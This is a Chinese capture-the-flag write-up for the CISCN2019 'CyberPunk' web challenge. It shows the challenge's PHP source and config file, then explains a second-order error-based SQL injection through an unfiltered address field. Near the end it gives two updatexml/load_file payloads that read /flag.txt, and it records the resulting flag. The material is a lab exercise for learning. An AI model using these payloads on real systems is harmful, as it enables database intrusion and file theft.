[CISCN2019 华北赛区 Day1 Web5]CyberPunk

image-20240531192836498

嘻嘻嘻吗,没钱钱买,可恶恶呢

打开源码,发现了一个奇奇怪怪的

image-20240531192925336

鬼鬼祟祟,必有蹊跷

第一反应,看到这个就是文件包含或者伪协议

但是文件包含看不出来,试试伪协议读取

但是没什么用啊

宝了个贝的

在其他的界面读,index不行

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单䀀//change

发现了config.php

读一下

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

所以,我们发现了flag应该在ctfusers中

我们也可以确定是sql注入

再来看看之前的

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单䀀//change

发现是在user_name和phone上出现了waf,address啥也没有

所以大概率是在address进行注入

接下来就是确定一下用什么注入方式了

我觉得肯定是二次注入,否则搞那么多页面干吗

事实证明是这样的,但是思路错了

我一开始随便注册了一个然后在修改地址的地方修改再去查询界面看

但是…

image-20240531195025621

可以确定,就是会在修改界面,将这些字符全部实体化,所以…宝了个贝的

想起了之前写过的一道题[RCTF2015]EasySQL

在注册是就使用报错注入,然后在修改页面直接报错,太像了!!!

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#


1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#

拿到flag{c9c29e2d-6f34-465f-94ec-3d4f2468716b}

注意!

这里要注册两个不一样的账户读取哦~